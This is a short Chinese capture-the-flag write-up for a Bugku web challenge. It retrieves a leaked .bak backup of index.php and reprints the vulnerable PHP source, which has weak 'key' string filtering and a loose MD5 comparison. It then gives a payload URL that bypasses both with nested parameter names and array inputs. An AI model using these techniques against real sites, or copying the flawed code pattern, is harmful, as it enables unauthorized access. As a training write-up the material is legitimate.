Bugku_CTF Writeup 之 备份是个好习惯 (80)

题目描述:

http://120.24.86.145:8002/web16/

听说备份是个好习惯

1.提示是“备份是个好习惯”——>访问http://120.24.86.145:8002/web16/index.php.bak

2.得到文件后打开,发现php脚本:

 1 <?php
 2 include_once “flag.php”;
 3 ini_set(“display_errors”, 0);
 4 $str = strstr($_SERVER[‘REQUEST_URI’], ‘?’);
 5 $str = substr($str,1);
 6 $str = str_replace(‘key’,”,$str);
 7 parse_str($str);
 8 echo md5($key1);
 9 
10 echo md5($key2);
11 if(md5($key1) == md5($key2) && $key1 !== $key2){
12 echo $flag.”取得flag”;
13 }
14 ?>

3.URL的键中的“key”字符串被替换威“”

  且当$key1的MD5值与$key2的MD5值相等时输出flag

  (这里也可以看出来最开始页面中的“d41d8cd98f00b204e9800998ecf8427ed41

  d8cd98f00b204e9800998ecf8427e”是什么了,最开始$key1与$key2的值都是NU

  LL,所以“d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ec

  f8427e”就是两个NUll的MD5值的拼接)

4.利用kkeyey1 ,kkeyey2构造变量绕过php脚本的过滤

  利用md5函数处理数组时总返回NULL的特性

  构造payload:http://120.24.86.145:8002/web16/index.php?kkeyey1[]=a&kkeyey2[]=b

  访问即可得到flag

猜你喜欢

转载自www.cnblogs.com/izayoi/p/9615768.html
今日推荐